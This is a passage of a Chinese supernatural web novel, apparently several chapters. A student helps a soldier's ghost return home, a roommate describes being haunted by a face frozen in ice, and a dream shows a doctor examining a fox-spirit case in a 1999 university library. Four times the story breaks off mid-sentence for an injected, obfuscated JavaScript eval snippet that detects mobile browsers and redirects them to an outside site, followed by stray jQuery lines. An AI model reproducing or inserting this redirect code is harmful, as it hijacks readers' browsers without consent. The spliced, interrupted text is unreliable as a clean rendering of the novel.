曲通幽手里捏着一把汗,可还是冷静地继续说下去:“戚荡寇,他们已经查出了你的身份。你们班里的那几个人——翠丫她们,名字肯定也都能一个个查出来。我听说,你家乡江南那边有一座很大的烈士陵园。他们到时候会把你的骨灰带回去葬在那里。那里有很多你的同志,还会有小孩子在你们不远处放风筝,老人们在你们周围散步,等到晚上霓虹灯亮起来的时候,不远处的广场还会有很多人在跳舞、滑滑板……”
“回家吧,戚荡寇。”
“故乡的红花已经开了,可以还乡了,戚荡寇!”
正好喊完七声名字,门外的女鬼望着她,脸上忽然漾起了一个温暖的笑。
她的手缓缓抬起来,似乎是想要递给她什么东西。曲通幽下意识抬起手想要接过来,可等手伸到半空,却一下子抓了个空。
眼前的人影消失了。
“……我敢打赌,这个包子里的包菜绝对是中午没吃完的包菜炒肉,不然不会……诶?幽幽,你怎么站在门口不进去啊?”
手里提着包子的秦琴和方君茹走到412门前,疑惑地看着一半身子站在走廊里伸着手的舍友。
“……没事,我刚才好像听到走廊上有人在喊我的名字,可能是我听错了。”
曲通幽收回了手,她知道自己什么都没抓住,可还是没忍住摊开手掌看了一眼。
掌心里是从窗外投射进来的阳光。
虽然已经是夕阳了,可却依然非常温暖。
*
那天晚上,曲通幽又做了一个梦。
跟之前的梦都不一样,这次的梦没有一点画面,她始终走在一片白雾中,周围不断响起对话声。
“芳丫,芳丫该回家了!”
“娘,你看,花花开了!”
“呀,真香!芳丫你看,这白色的是梨花,咱们当年离开江南,就是在梨花开的时候。老人家说,梨花一开就有人要离开了。”
“嘻嘻,我不离开!我要跟娘一直在一起!”
……
“娘,咱们要去哪啊?”
“去江北,芳啊,鬼子打来了,咱们得赶快跑。”
“咱们要跑到什么时候?”
“……”
“娘,梨花怎么是红色的?爹呢?娘……我不问了,你别哭。”
“芳,你记着这红色。那是你爹,隔壁葛爷爷的血,那是那群畜牲欠下的债!这红花有一天会变成火,烧死那群小鬼子!!!”
……
“芳啊,芳丫你就一定要走吗?打仗那是他们男人的事,改天我进城寻摸一下,给你找个好婆家,到时候你们往东边去,那边不打仗……”
“娘,没用的,咱们从南跑到北,又从北跑到东边。还能跑到什么地方?那群畜牲想把咱们全都吞了,跑是没用的。无论男女老少,不反抗都得死!”
“呜……芳丫,娘舍不得你啊!娘只剩下你了,要是你也……呜呜呜……”
“娘你放心,我托隔壁刘大娘照顾着您呢。我出去以后,就改名叫戚荡寇了。我一定会把那群鬼子全部赶出去的!等到梨花开了我就回来!”
“好……”
“娘,你还记得吗?我们逃难离开江南的时候,你说那被血染红的梨花是他们欠的血债。可那红色不但是债,还会变成火。这火虽然现在还很微弱,但只需要一阵风,它就能烧遍神州大地。烧出一片只属于我们的沃土来。”
“现在,我要去做这阵风,去烧这把火了!”
……
“班长,你长白头发了。”
“哈哈,说明我变聪明了。你没看那戏台上的军师,一个个都是白发吗?”
“……可班长你才二十四岁!”
“别管那些了,翠丫,你看,梨花开了。”
“是啊,这花真香!”
“你是喜欢白梨花,还是红梨花?”
“这梨花还能有红的啊?”
“有啊。我十一岁那年,从江南逃难,鬼子杀了全村的人,血喷到树上,半山的梨花都是红的。”
“班长……”
“那年以后,我最讨厌的就是红花。可这些年却有点变了。红花是好的,它是比白梨花凋得快了些,可它染了咱们的血,却比白梨花更肥地。来年花开更盛,难保没有红花的功劳呢。”
“红花好看哇,等咱们胜利了,就找个小院子,里面栽满红花!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484506|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……
她以为自己会再听一遍戚荡寇战死的经历,可并没有,白雾走到最后,还是雨声、虫鸣声和鸟鸣。
她没去过海昌村,但从戚荡寇的尸骨能被一个小团伙盗走就能判断出,她下葬的地方必定不会多热闹。或许那就是一座孤山,她沉睡在异乡土地上,听了许多年的雨声虫鸣。
而今,她终于能回家了。
*
曲通幽是在半个月后看到了相关报道的。
是江南省某官媒发的宣传稿,中规中矩报道了某祖籍江南的烈士遗骨葬入本地烈士陵园。并简单介绍了戚荡寇的生平。但因为她活着的时候并没有参与过值得大书特书的历史事件,家中也没有亲人了,所以这篇报道就简单了点。
但宣传稿上附了一张现场照片,曲通幽看得清楚,那烈士陵园前是个半开放的广场,人来人往很是热闹,而园区里面也确实开满了各色鲜花。
她一定会喜欢这里的。
“都别学了,我给大家买了奶茶,休息一会儿吧!”
宿舍门口的声音打断了她的独自满足。曲通幽抬头一看,只见方君茹提着四个纸袋子走进来,袋子的包装是学校里一家网红奶茶店的标志。因为天气热,每个纸袋外表都凝结着一层小水珠。
秦琴扭头一看,乐了:“哟,君茹看你笑的,这是有什么好事吗?”
“可不是大好事吗!”方君茹喜气洋洋地说,“上学期我不是和几个学长学姐一起参加一个比赛吗?那个项目拿了一等奖,奖金五万块呢!我一个人就分了五千,发财了!”
“哇!恭喜恭喜!这可不仅是发财的事了,还能加不少学分吧?”
“加五分!诶嘿嘿嘿,今年的国奖更有把握了!快来拿奶茶!”
“那我就不客气了,这个生椰拿铁给我吧,幽幽你要什么?”
“给我个青提茉莉吧,谢谢君茹!”
“客气什么啊,乐瑶,桃桃青芒给你可以吗?你不是最爱桃子味了?”
方君茹站在李乐瑶床边问道。
虽然是白天,可李乐瑶的床帘却是死死拉着。但里面传来挺大的视频声音,所以大家也觉得她应该是没睡。
果然,方君茹这么一喊,床帘就被拉开了。露出一张精致娇俏,可看起来却分外憔悴的脸来。
李乐瑶露出一个有些勉强的笑,接过杯子道谢:“谢谢君茹,这个口味是本季新品,我还没尝过呢。”
“乐瑶,你这是熬了几天啊?”一边的秦琴惊讶地看着李乐瑶眼下的黑眼圈,“就算你现在没啥压力了,可也不能这么熬着玩啊。悠着点,你的好日子在后头呢!”
李乐瑶扯了扯嘴角,却连解释都没得一句。她用吸管戳开奶茶,喝了一口,可曲通幽保证,她肯定连味道都没尝出来。
曲通幽蹙了蹙眉。
李乐瑶好像不太对劲。
她咬着吸管,眼神却不知道落在哪里。水蒸气在透明的杯壁上凝结成水珠,沿着她细白的手指流下来,搁在平时李乐瑶早就拿纸巾擦干净了,可现在她也没发现。
女生的眼睫垂下来,目光无意识往杯子里扫了一眼,突然尖叫了一声,猛地抬手把奶茶杯摔了出去。
“血!!冰块里有血!!!”
35.035
哗啦!
塑料杯被用力砸在宿舍中间,里面的奶茶和小料被泼洒得到处都是。三个女生都惊呆了,甚至一时间不知道该去收拾杯子,还是该去安抚一下惊恐万状的舍友。
还是曲通幽反应快一点。她蹲下来,快速把地上那些还没融化的冰块一个个捡起来,仔细检查过之后递到了李乐瑶面前。她声音温和:“我都看过了,没有血啊。你这杯是桃子味的,里面可能是有点粉红色的果肉,刚才杯子外面又都是水,是不是乐瑶你看错了啊?”
李乐瑶的脸色已经不能用难看来形容了。她脸颊上看不到一丝血色,额头上布满了虚汗。瞪得大大的眼睛惊恐地扫视着面前的碎冰块。哪怕是那上面看不到一点红,她眼底的恐惧也依然快要溢出来了。
另外两人也反应了过来,一个去拿拖把,另外一个赶紧也凑上来安慰:“是啊乐瑶,那家奶茶店虽然网红,但绝对干净卫生的。冰块也都是现场制作的,不会有血的。”
“我……可能确实是我看错了。”李乐瑶有些羞愧地说,也赶紧拿了抹布过来,帮她们擦被奶茶溅脏的桌椅。
可就连擦着桌子她都能走神,可能是自己也意识到了这点,匆匆干完活之后,李乐瑶就找了个借口离开了宿舍,神情依然很惶然。
“乐瑶好奇怪啊。”方君茹突然道。
“大家都能看出来吧?她这分明是心里有事。”秦琴也说道。
“我不是说她刚才奇怪,自从放假回来以后,她好像就有些不对劲。”
听方君茹这么一说,曲通幽也回忆了一下。她这段日子忙着查戚荡寇的事,倒是忽略了舍友们的生活。这么一想,好像确实……
“乐瑶这段时间好像都没化妆,刚才我看她指甲都斑驳了也没有补。哦对了,她晚上好像也睡很晚,我总觉得那边床帐里亮着灯。”方君茹一个个说出来,两个女生脸上都越来越困惑。
“我记得放假结束的时候,乐瑶也是晚了三天才来,”曲通幽回忆着,“你们知道她是干什么去了吗?”
“这没什么奇怪的吧?我也晚了一天才来呢。她不是也出去旅游了?可能是没玩够。”秦琴说。
“不,不一样,”曲通幽严肃起来,“你是5号才去玩的,可乐瑶可是放假第一天就说要和父母一起去冰雪天地。我原来也去过那里,那边根本玩不到三天,她又怎么会一共花了十天才回来?”
“那边离毛熊近,可能她顺道也出了个国……”
两人各种分析着,旁边的方君茹突然幽幽道:“其实我觉得,她现在的样子和我上个月有点像……”
一句话出口,整个宿舍都静了一瞬。
这段时间宿舍里很平静,大家都很有默契地绝口不提那件事。可不提不代表过去了,到现在宿舍里看见飞蛾,还是能引发一阵鸡飞狗跳。
“难道她也是遇到了……不会吧?我们宿舍不会这么倒霉吧?”秦琴喃喃着。
上个月的事情她们三个人刻意瞒着李乐瑶,就是觉得这种怪事能少牵扯一个是一个,可要是方君茹的猜测是真的,难道灵异事件终究要光顾所有人?
“我抽空去和她聊聊。”方君茹说道,“我有点理解她现在的心情,觉得这事很不可思议,甚至觉得被卷入这事里的自己是个怪胎……不过,这事最好还是说出来,也许就有人能帮忙呢?”
她朝着曲通幽微微笑了下,一副对她充满了信心的样子。
曲通幽:……
她从未透露过自己有特殊能力的事情,表现出的也都是运气好能提供有用线索的角色。但一个宿舍的人,多多少少还是看出来点什么。
要是能帮李乐瑶,她肯定不会推辞,可她的能力明显不稳定,而且看舍友们的样子,她们好像进行了什么不得了的脑补啊!
也不知道方君茹跟李乐瑶说了什么,当天晚上,李乐瑶就坐在了宿舍里,吞吞吐吐跟她们说了自己遇到的事。
“我假期去了冰雪天地,我怀疑……我在那边撞了鬼。”她开门见山说道。
冰雪天地位于鹤城,是近几年声名鹊起的新网红景点。它占地百万平方米,园区内是用冰雕塑的各种奇观。对没下过大雪的南方人来说,确实是梦幻又新奇。
“我是第一次去鹤城,又是和我爸妈一起去的,所以特别兴奋,在里面玩得忘了时间。冰雪天地里面有个超大的冰雕城堡你们知道吧?据说能容纳一千多人的。我在里面一直玩到了晚上,一回头发现和我爸妈走散了。”
“我给父母打电话,可那城堡里信号不好,电话不通,那天也不知道怎么回事,我站的那片区域都没有人。我就只能一个人沿着通道往外走。然后……我就在冰块里,看到了一个人影。”
“是冰块里面的人影?不是后面的人?”听到这,秦琴忍不住插嘴问道。
李乐瑶轻轻摇头:“我当时也是这么想的,还因为找到了人路而高兴。不过等我绕到冰块后面,却发现那是个死路。那堵墙后面全是冰……我看到的人影只可能是冻在冰块里的。”
“我当时就吓得大叫起来,把周围的人都吸引了过来。他们人都挺好的……两个姐姐安慰我,一个大哥说到冰层那边去看了看。然后他回来说……没有人影,说我看错了。”
“可我不可能看错的!当时周围一个人都没有,灯光还特别亮。我为了找我爸妈看得很仔细。我还记得那个人影是短发,有点啤酒肚,甚至我还能看到他衣服上的一点拉链,就站在那默默看着我……后来我绕过去看了,真的没有,那个人影消失了!”
“后来呢?要是你只看到一次那个人影,肯定不会到现在还这么害怕吧?”方君茹追问着。
曲通幽看着这一幕,突然觉得这对话模式有点熟悉。
她做的那些奇怪的梦里,那些“病人”也是这么跟师寂明陈述病情的。
只是现在并非做梦,而是她们四个初出茅庐的女大学生在尝试剖析灵异事件。
“对……你说得没错。那之后我就跟着人群出了城堡,找到了我爸妈。他们说我看错了,我也是那么以为的,就继续在园区里玩。他们有那个冰滑梯,你们知道吧?长一百多米的,我从最上面往下滑,然后那时候,我又看到了那个人影……就在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494012|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
侧边扶手的冰层里,我往下滑,他就跟着我!这次我看得更清楚了,那是个男人,脸像是泡水了一样有点肿,紧贴着冰块!他还朝我笑,跟那种木偶面具一样的笑,一直跟着我!我当时……我当时差点没摔下去!”
李乐瑶又想起了那一幕,她脸上流露出极端恐怖的神色。但让她庆幸的是,自己的三个舍友并没有流露出怀疑神色或者质疑她看错了。而是一个个都听得非常认真。
“我从滑梯上下来以后,那人影就消失了。我当时害怕极了,就打算马上走。可是我爸妈都不太相信。刚好我们买了冰雪剧场的票,我妈就说,去看完表演再走吧。”
“那个表演我在网上看过。好像是挺炫酷的。”秦琴回忆着。
“嗯,那个表演用了很多高科技,光影做得非常好。我看着就又开始怀疑是我看错了——这个园区用了很多高科技,万一我看到的也是投影呢?反正看完表演,我就冷静很多了。我妈说在酒店住一晚我也没反对。那个酒店……酒店就在景区里。”
曲通幽的额角跳了跳:“那个影子也出现在了酒店里?”
李乐瑶摆手:“不,没有,那天晚上什么事都没有发生。所以我都以为这事过去了。第二天还想继续在那玩。可是早上我和我爸妈一起出门的时候,看到酒店外的路边摆着一排陈列墙,是那种大冰砖垒成的,每一块冰砖里面都冻着一条鱼——不是真的鱼,我听说那都是拟真模型。我走过那条路的时候,发现每一条鱼的眼睛都在盯着我!”
“这次真的不是错觉了!我眨了眨眼睛,它们还在,甚至我走过去了,它们也摆着尾巴扭过头,鱼眼睛盯着我。最可怕的是,有的鱼还在流血,从鱼鳃里面流出来,我看到有人的手指卡在里面,还有的嘴里好像也有东西……我给我爸妈说,结果他们都没看到!!而且看他们的表现,好像是被我吓到了,我们马上就离开了园区去了医院。结果在路上……路上下雪了……”
李乐瑶的声音开始颤抖,眼珠都已经因为恐惧而突出了眼眶:“我第一次见到那样大的雪,就抬头去看,然后我看到了……每一片雪花,里面都有一个人影……是我在冰层里见到的那个影子。有的是脸,有的是身体的一部分,还在流血。他在里面朝我笑,那个笑容……反正我当时眼前一黑,就什么都不知道了。”
宿舍里一片死寂,三个人都被她描述的漫天飘落人影的画面震撼到了。
李乐瑶抽泣一声,继续说道:“后面几天,我在医院做检查,看了脑科,眼科,还有精神科。结果是没什么毛病,医生给我开了点舒缓精神的药让我回去吃。我爸妈还是不放心,后来我们又去了法兴寺,我妈帮我求了符还有佛像。我感觉好了点。但是回家的时候坐飞机,高空的时候机翼上挂了冰,我看到那个人就在冰溜子里朝我伸手……”
“我躲不过它,它一直都在。只要有冰,我就能看到它存在的痕迹。有时候是人脸,有时候是其他的部分,或者就是血……我已经分不清楚是自己吓自己,还是那东西真的存在了。我觉得要不了多久,我就要被它逼疯,或者直接被它杀死。我没救了……”
36.036
李乐瑶捂住了脸,周身透着一股绝望的死气。
今天方君茹找上她,主动坦诚自己也曾经经历过灵异事件的时候,她其实是没当真的。
但她还是把这些话对舍友说了出来,其实只是想要找一个发泄的途径罢了。这些日子她实在是太过压抑,被那种东西缠着,父母又不怎么相信她,给她请来的“大师”全都是披着皮的心理医生,次数多了,连她都怀疑自己是不是疯了。
万幸,她的舍友没有一个人把这当成一个疯子的呓语,而是都在很认真地帮她分析。
“听你这么一说,那个鬼好像也没对你做出什么实质性的伤害?就只是出现在你身边罢了。只要避开冰这种东西,是不是就没事了?”秦琴理性分析。
李乐瑶停止了绝望,愣愣地看着好像过于理性的室友。
方君茹也说道:“不太行。像是奶茶冰块这种确实可以避开。可是马上就要冬天了。咱们这边冬天也不少下雪的。到时候难道要不出门?”
曲通幽也思考了一下,然后问了个更加惊悚的问题:“你有没有试着把出现的那些东西拼起来过?”
“……拼起来?”
“嗯,你不是说见到的都没有全貌吗?那些人脸、器官、断指……有没有试着把他们往一个人身上拼一拼?我怀疑这个鬼以这样的形态出现,可能是因为他死的时候就已经是碎尸的状态了。要是能尽量拼完整,至少能看出他是被什么凶器杀死的,现在尸体又在哪里。”
“……”
秦琴恍然:“有道理啊!鬼一般不都是有冤屈才会冒出来吗?要是能知道他是怎么死的,替他解决了冤屈,也许这事就能解决了!”
“…………”
李乐瑶现在有点确信,自己的舍友可能是真的经历过灵异事件了。不然的话,没理由解释她们为什么这么淡定熟练啊!
她心中也燃起了一点希望,饱含期待地看着曲通幽:“这种方法是你们上次解决鬼用到的吗?告诉你们这个方法的大师在哪里?不管在哪我都能去找他!”
秦琴和方君茹都看向曲通幽,曲通幽却是思考了一会儿,问道:“乐瑶,我能握一下你的手吗?”
李乐瑶:?
“可……可以……”
她眼睁睁看着自己的舍友一把抓住了她的手,还闭着眼睛认真感受着什么。
莫非她刚才猜错了,大师竟是她舍友?
曲通幽哪知道怎么驱鬼啊。只是刚才秦琴有一点没说错,按照樊宵安他们研究出来的规律,不管怎么驱鬼,还是要搞清楚对方的路数。
她想要通过入梦的方式接触一下李乐瑶,看能不能从她的梦里再进入那个鬼的记忆中。出来之后还能给警方提供点线索。
可不管她握着李乐瑶的手怎么集中精神,那个能带她入梦的标记字符始终没有出现。
这是怎么回事?难道李乐瑶真的没有接触过灵异事件,这一切确实只是她的心理问题?
就在她心里反复思量的时候,耳边忽然响起了另外一道声音。
“……肉身已毁,无从附形……”
曲通幽猛地抬起头来,惊骇地看向旁边。
李乐瑶被她的动作吓了一跳:“怎……怎么了?”
不是她在说话。
刚才的声音,分明是个男声!
难道说缠着李乐瑶的那个男鬼,其实一直都在她们身边?
曲通幽惊疑不定地凝神细听,可好久都没再听到任何声音,只能强迫自己把注意力拉回到那句话的内容上来。
肉身已毁,说的应该是她刚才对于那个鬼的猜测。
他出现的时候都是影子或者一块一块的,说明死的时候或死亡之后尸体已经变成碎块。
但是,戚荡寇都已经烧成骨灰了,她还是能进入她的梦境。现在她却拿这个鬼没办法,难道说这人连骨灰都不剩了?
这么一想,有全尸的丁健的记忆,确实比只剩骨灰的戚荡寇的梦要完整。说不定人的记忆,或者说梦境就是和肉身留存程度息息相关啊。
她的思绪越跑越远,宿舍里的三个人却因为她的沉默大气都不敢出。一直到曲通幽感觉周围过于安静了,一抬头才发现舍友们的表情有点不对。
“我倒是知道一个大师。”她想了想说道。
“我们家旁边有个小寺庙你知道吧?里面有个和尚特别帅……不是,我不是因为他帅才推荐给你的。主要是这人真的有本事。你可以去找他看看。他叫……”
曲通幽回忆了一下,还翻出了跟尹修景的聊天记录看了看:“叫遥空。”
这个遥空能从她身上就感知到戚荡寇没有怨气,想来也是个有真本事的,至少李乐瑶能让他看看自己身上是不是真的有鬼。
只不过……为什么她总觉得遥空这个名字她好像在哪听过?
*
曲通幽是个心态挺好的人。所以哪怕怀疑宿舍里跟着个男鬼,在对方没有对她动手的情况下,她当天晚上也很快就睡着了。
可没想到一睁眼就发现,自己又进入了谁的梦里。
老旧的医生办公室里,木桌对面的年轻女生有些局促地进行着自我介绍:“师医生你好,我叫齐嘉柔,是首都大学大二的学生。我听我同学说,你这里能……治疗一些心理疾病,所以想请你帮我看一下。”
……怎么又是师寂明的梦?明明她更想进入的是跟着李乐瑶的那个男鬼的梦啊。
想到上一次自己在梦里就实现了成功转移,曲通幽再次尝试。可努力了好久,别说转移到自己想去的梦境里,连脱离这个身体旁观都做不到。
这个师寂明到底有什么魔力,每次都不请自来不说,连操控视角都做不到?
这里还是一间医院诊室,只是和上次自己看到的不太一样。那面刻满了字符的镜子倒是还在墙上挂着。
“你好,齐小姐,能说一下你的症状吗?”
“嗯……我是去年从农村考上首都大学的。我家的经济条件不好,学校知道了之后,就照顾我给我找了个勤工俭学的活,主要是在图书馆里整理书籍。我是中文系的,又从小喜欢看书,这个活对我来说再合适不过了。我很珍惜这个机会,每天除了做完自己的分内工作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508037|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还会花大量时间看书。有时候会在图书馆呆到很晚。然后,大概半个月前吧,我开始觉得……有人经常在看着我。”
“我一开始觉得是心理作用。毕竟图书馆的人多,我也不能觉得别人总在看我不是吗?可后来我就发现不是的,我感觉到有人看我的时候,都是晚上七点以后,图书馆都没有人的时候。发现了这点之后,我就格外留心了点。然后发现……那目光是来自窗户外面的。”
“来自窗外有什么问题吗?”
“当然有问题啊!那窗外根本没有路,是我们学校的湖!要是我的感觉是真的,说明一直有人……从湖里冒出来看我,那还能是人吗?!”
“请您先不要太紧张,在空旷又没有人的地方,一个人停留着是很容易产生被注视的错觉的,这不一定是真的是有谁在看着您,这可能是焦虑症或者其他精神问题。”
“不,不是的……可能是因为性格比较内向,只喜欢一个人躲着看书的原因。我从小就对别人的视线特别敏感。发现盯着我的视线来自窗外之后,我就留了个心眼,有时候突然抬头往那边看,或者假装无意路过窗户然后猛地转身检查。我想抓那人……或者那东西一个出其不意。至少要知道那是什么。可我始终没有发现。一直到有一天晚上。外面下着大雨,还打雷闪电。我一个人在图书馆有点害怕,正好也没人了,就想早点走。结果……就在那时候,突然打了个雷,然后……停电了……”
对面的少女脸色一下子变得惨白,像是回忆起了什么可怕的经历一样,额头上都渗出了虚汗。师寂明体贴地给她倒了一杯热腾腾的蜂蜜水。齐嘉柔感激地看了他一眼,才捧着热搪瓷杯颤抖道:“当时停电了,图书馆里一片漆黑,正好外面又有闪电,窗户就被照得格外亮。我看过去的时候,就发现玻璃上有一个影子。被闪电照得特别清晰,那是个……狐狸头,弓着身子的男人,狐狸眼睛眯起来,就跟在朝我笑一样……那个感觉,跟我平时感觉到的注视一模一样!”
“您当时有去仔细检查吗?”
“没有……我吓坏了,那天晚上都不知道怎么回宿舍的。回去了也吓得不敢睡觉。连着好几天都昏昏沉沉的,也不敢再去图书馆了。还是我舍友看我情况不对劲,追问了好久我才告诉了她的。她知道以后非常生气,说一定是有人在跟我恶作剧,当天就拉着我去了图书馆检查那面窗户。然后我们在玻璃外面发现了胶带的痕迹。她说,可能是有人把剪纸贴在了这里,故意吓唬我。让我以后不要多想,她会想办法找到那个人给我出气。”
“说明确实是恶作剧了。”
“我当时也是这么想的。而且那天之后我注意观察了,也确实没有在图书馆感觉到有人在看我,我就以为这事过去了……可是接下来,我周围开始发生更多怪事。比如走路的时候脚下突然出现什么东西绊倒我,走在路上自行车刹车失灵,路过篮球场的时候被飞过来的球砸到……我一开始就只觉得挺倒霉的,可是后来有一天我……我睡觉的时候半夜迷迷糊糊摸到了毛茸茸的东西,那是……那是狐狸的皮毛!那东西没有消失,它出来了!它缠上我了!”
37.037
“齐小姐,请您不要太紧张,来,深呼吸,没事的,你现在很安全。看,我在这里,窗户上也没有影子对吧?”
“嗯……是……可是我那天确实摸到了狐狸,我一下子就吓醒了!”
“也许是衣服、枕巾或者床单呢?就算是活物,也有可能是校园里的野猫跑进来了,你也说了,那时候的你是在睡梦中,神智并不太清楚。”
“不是的!我当时就吓醒了,那东西马上就从我床上消失了。我打着手电看那东西出现的地方。床单上有几根黄色的毛……我老家是农村的,经常见到狐狸,那根毛就是狐狸的毛!”
“这之后还有什么奇怪的事吗?”
“有的!我倒霉的情况还在继续,而且我……我又看到了那天晚上看到的影子。有时候在供销社看到柜台后的阴影里有一个驼背在拱,还有一次是坐公交的时候,前面的男人突然回过头,是一张狐狸脸。最近就是昨天晚上我走夜路回来,每一盏路灯灯泡上都贴了那种剪纸。然后地面上……全都是那个狐狸脸的驼背男人。他眼睛弯着,地上是不怀好意的笑,一抬头天上的弯月也是……呼……呼……”
“我明白了。这样,齐小姐,这是一套心理测试题,你可以先做做看。你现在的情绪让我怀疑有些焦虑倾向。”
“好的……这个名字是必须填吗?我之前听说心理医生都要替病人保密,一般是不写名字的。”
“很抱歉,我们需要留存病例,方便后续观察,还请你写上名字。”
“好吧。”
齐嘉柔埋头写着那套测试题,曲通幽趁机看了看,蓝线上面依然都是那些她不认识的字。只是她填写名字的那一栏前方,空白前面的字符赫然是那个像是“尺”的她用来标记入梦的字符。
曲通幽心中一动,这个男人到现在看起来仿佛无所不能,难道他的能力也都是从梦中获得的?
齐嘉柔填写心理测试题的时候,师寂明已经开好了一张处方,上面是一些曲通幽不认识的药品,但看名字应该是正规的西药。
他收走了心理测试题,把处方笺递给齐嘉柔,说道:“齐小姐,这是缓解精神焦虑的药,你可以先吃几副试试效果。但我还是要说,不要太关注那些让你紧张的事情。虽然那些事看起来很诡异,但确实有可能只是意外或者别人的恶作剧。”
“有没有可能是……鬼,妖怪……”
“不排除这种可能性。”
“那我……”
“但是齐小姐,你要知道,就算真的是那些东西,你也应该更专注自己的生活。鬼怪和人是彼此相隔的,他们天生泾渭分明。过度关注只会模糊那条界限,从而让你在鬼怪面前更加弱势。”
“我知道了,我会尽量不管它的。”
“嗯,放轻松,毕竟那东西到现在只是不断出现在你生活中,影响你的心情,并没有对你造成直接伤害不是吗?另外,能不能告诉我你之前遇到那些事的地方?我想去查看一下。”
“好的,首先是在图书馆的……”
白雾升起,声音消失了。
曲通幽琢磨着师寂明的那几句话,觉得说的居然和自己之前猜的差不多——她就是在镜子里和方君茹身上的丁健鬼魂之后,发现只要自己对鬼怪作出反应,就会被越来越多地缠上。
可要是师寂明的话是对的,岂不是说人面对鬼只能装聋作哑,要是被害了只能自认倒霉?
曲通幽心里稍微有点不舒服。而在她思考这些的时候,眼前已经出现了一扇年代久远的木窗格。
窗外就是一片湖泊,也不知道是不是人工湖,湖边是一片芦苇,几只雪白的鸭子在湖面上悠闲游弋。
男人的手在窗玻璃的外层摩挲着,白得像是黑石上的雪,唯有一点嫣红小痣在虎口格外耀眼。
“小伙子,你在干嘛呢?”
男人转过身,看到身后一个提着塑料桶和拖把的干瘦老大爷,正用询问的目光看着他。
“你好,我是在看这窗户外面也这么干净。是不是你每日打扫的?”
“哪儿啊,你看外面就是湖,根本过不去人。那是前些天下了场大雨,冲得干净。小伙子你不是这学校的学生吧?”
“我是今年参加高考,特意来参观一下的,咱们这图书馆可真大。”
“那可不是?咱们这可是首都大学,全国最好的学校。这图书馆开放的只是一小部分,还有好多前朝留下的珍贵古籍在别的书库里,根本不外借的。你要是能考上这里,那也是前途无量!”
“是吗?那你说的这些书能在图书馆看吗?”
“应该是能的吧?我倒是见过几个学生老师在那看的。不过那些书都破破烂烂的了,也可能是在修……小伙子,你早点回去,咱们图书馆晚上七点就要锁门的,你别留太晚。”
“为什么七点就要锁门?同学们不要上晚自习吗?”
“这谁知道。我就是个清洁工,学校咋安排咱就咋干呗。”
老头摇了摇头,提着拖把转身就走了。他的影子在地上拖得长长的,在他转身的一刹那,好像有一只手从他的影子里探了出来,用力在半空抓了那么几下。
她现在借用的是师寂明的视野,所以不可能是眼花,也就是说,那老头是有古怪的。
可师寂明眼睁睁看着那老头影子伸出的多出的那只手消失,却没有任何反应。
老头离开之后,图书馆里就没有其他人了。
也不知道这所大学是怎么回事,明明只是黄昏,可却没有一个在这里看书学习的学生。师寂明刚才检查的那扇窗户半开着,湖对面传来学生们的嬉闹声,可遥远的声音却越发衬得图书馆阴冷寂静。
他在一楼站了一会儿,然后找到了公共楼梯。楼梯前竖着一块指示牌,标明了各层的书籍种类。
师寂明沿着楼梯拾级而上。空旷的图书馆里好像只有他一个人的脚步声。他没有在二层停留,也没有往三层看一眼,黄昏的暖黄夕阳透过每一层平台的玻璃窗周而复始落在他身上,最终男人停到了四层的入口处。
这一层的公共区域比下面都要狭小,只摆放着八张自习桌子。周围全都是锁着的门。师寂明往旁边走了走,曲通幽看到墙上一块很陈旧的铜牌,上面写着“馆藏书库”。
而在铜牌的旁边,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522228|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那扇锁着的门上还贴着好几张封条。是那种警方办案的时候常用的白色长封条,看上去还挺新的。
师寂明凑近了点,看清了封条上的日期——1999年8月21日。
“一个月前……还是暑假呢。”他自言自语道。
于是曲通幽知道了这个世界现在的日期是1999年。
在第一个梦里的时候,她就知道这个世界的历史线是90年代初建国,住家保姆案发生的时候是建国三四年左右。而现在是1999年,也就是说,距离那时候已经又过去了5年左右。
五年时间,师寂明从那个登平县来到了首都,这中间又发生了什么事?
